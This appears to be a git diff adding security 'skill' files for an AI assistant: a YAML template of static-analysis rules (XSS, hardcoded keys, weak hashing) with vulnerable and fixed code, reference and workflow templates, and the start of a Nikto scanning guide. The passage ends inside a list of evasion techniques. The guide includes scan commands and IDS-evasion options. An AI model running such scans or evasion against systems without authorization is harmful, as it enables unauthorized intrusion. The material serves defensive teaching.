HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/recon-nmap/references/EXAMPLE.md b/skills/offsec/recon-nmap/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/recon-nmap/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/recon-nmap/references/WORKFLOW_CHECKLIST.md b/skills/offsec/recon-nmap/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/recon-nmap/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/offsec/webapp-nikto/SKILL.md b/skills/offsec/webapp-nikto/SKILL.md new file mode 100644 index 0000000..e78a1d6 --- /dev/null +++ b/skills/offsec/webapp-nikto/SKILL.md @@ -0,0 +1,442 @@ +--- +name: webapp-nikto +description: > + Web server vulnerability scanner for identifying security issues, misconfigurations, and outdated + software versions. Use when: (1) Conducting authorized web server security assessments, (2) + Identifying common web vulnerabilities and misconfigurations, (3) Detecting outdated server + software and known vulnerabilities, (4) Performing compliance scans for web server hardening, + (5) Enumerating web server information and enabled features, (6) Validating security controls + and patch levels. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [web-security, vulnerability-scanner, nikto, server-security, web-assessment] +frameworks: [OWASP, CWE, NIST] +dependencies: + packages: [nikto] + tools: [perl] +references: + - https://cirt.net/Nikto2 + - https://github.com/sullo/nikto + - https://owasp.org/www-project-web-security-testing-guide/ +--- + +# Nikto Web Server Scanner + +## Overview + +Nikto is an open-source web server scanner that performs comprehensive tests against web servers for multiple security issues including dangerous files, outdated software versions, and server misconfigurations. This skill covers authorized security assessments of web servers and applications. + +**IMPORTANT**: Nikto generates significant traffic and is easily detected. Only use with proper written authorization on systems you own or have explicit permission to test. + +## Quick Start + +Basic web server scanning: + +```bash +# Scan single host +nikto -h http://example.com + +# Scan with SSL +nikto -h https://example.com + +# Scan specific port +nikto -h example.com -p 8080 + +# Scan multiple ports +nikto -h example.com -p 80,443,8080 +``` + +## Core Workflow + +### Web Server Assessment Workflow + +Progress: +[ ] 1. Verify authorization for web server testing +[ ] 2. Identify target web servers and ports +[ ] 3. Perform initial reconnaissance scan +[ ] 4. Run comprehensive vulnerability assessment +[ ] 5. Analyze and categorize findings +[ ] 6. Document vulnerabilities with remediation +[ ] 7. Generate and deliver security report +[ ] 8. Verify no testing artifacts remain + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any web server scanning: +- Confirm written authorization from web server owner +- Verify scope includes web server vulnerability assessment +- Understand acceptable scanning windows +- Document emergency contact procedures +- Confirm no production impact restrictions + +### 2. Basic Scanning + +Perform basic web server scans: + +```bash +# Standard scan +nikto -h http://example.com + +# Scan with specific User-Agent +nikto -h http://example.com -useragent "Mozilla/5.0..." + +# Scan through proxy +nikto -h http://example.com -useproxy http://proxy:8080 + +# Scan with authentication +nikto -h http://example.com -id username:password + +# SSL/TLS scan +nikto -h https://example.com -ssl + +# Force SSL even on non-standard ports +nikto -h example.com -p 8443 -ssl +``` + +### 3. Advanced Scanning Options + +Customize scan behavior: + +```bash +# Specify tuning options +nikto -h http://example.com -Tuning 123bde + +# Enable all checks (very comprehensive) +nikto -h http://example.com -Tuning x + +# Scan multiple hosts from file +nikto -h hosts.txt + +# Limit to specific checks +nikto -h http://example.com -Plugins "apache_expect_xss" + +# Update plugin database +nikto -update + +# Display available plugins +nikto -list-plugins +``` + +**Tuning Options**: +- **0**: File Upload +- **1**: Interesting File/Seen in logs +- **2**: Misconfiguration/Default File +- **3**: Information Disclosure +- **4**: Injection (XSS/Script/HTML) +- **5**: Remote File Retrieval (Inside Web Root) +- **6**: Denial of Service +- **7**: Remote File Retrieval (Server Wide) +- **8**: Command Execution/Remote Shell +- **9**: SQL Injection +- **a**: Authentication Bypass +- **b**: Software Identification +- **c**: Remote Source Inclusion +- **d**: WebService +- **e**: Administrative Console +- **x**: Reverse Tuning (exclude specified) + +### 4. Output and Reporting + +Generate scan reports: + +```bash +# Output to text file +nikto -h http://example.com -o results.txt + +# Output to HTML report +nikto -h http://example.com -o results.html -Format html + +# Output to CSV +nikto -h http://example.com -o results.csv -Format csv + +# Output to XML +nikto -h http://example.com -o results.xml -Format xml + +# Multiple output formats +nikto -h http://example.com -o results.txt -Format txt -o results.html -Format html +``` + +### 5. Performance Tuning + +Optimize scan performance: + +```bash +# Increase timeout (default 10 seconds) +nikto -h http://example.com -timeout 20 + +# Limit maximum execution time +nikto -h http://example.com -maxtime 30m + +# Use specific HTTP version +nikto -h http://example.com -vhost example.com + +# Follow redirects +nikto -h http://example.com -followredirects + +# Disable 404 guessing +nikto -h http://example.com -no404 + +# Pause between tests +nikto -h http://example.com -Pause 2 +``` + +### 6. Evasion and Stealth + +Evade detection (authorized testing only): + +```bash +# Use random User-Agent strings +nikto -h http://example.com -useragent random + +# Inject random data in requests +nikto -h http://example.com -evasion 1 + +# Use IDS evasion techniques +nikto -h http://example.com -evasion 12345678 + +# Pause between requests +nikto -h http://example.com -Pause 5 + +# Use session cookies +nikto -h http://example.com -cookies "session=abc123" +``` + +**Evasion Techniques**: +- **1**: Random URI encoding +- 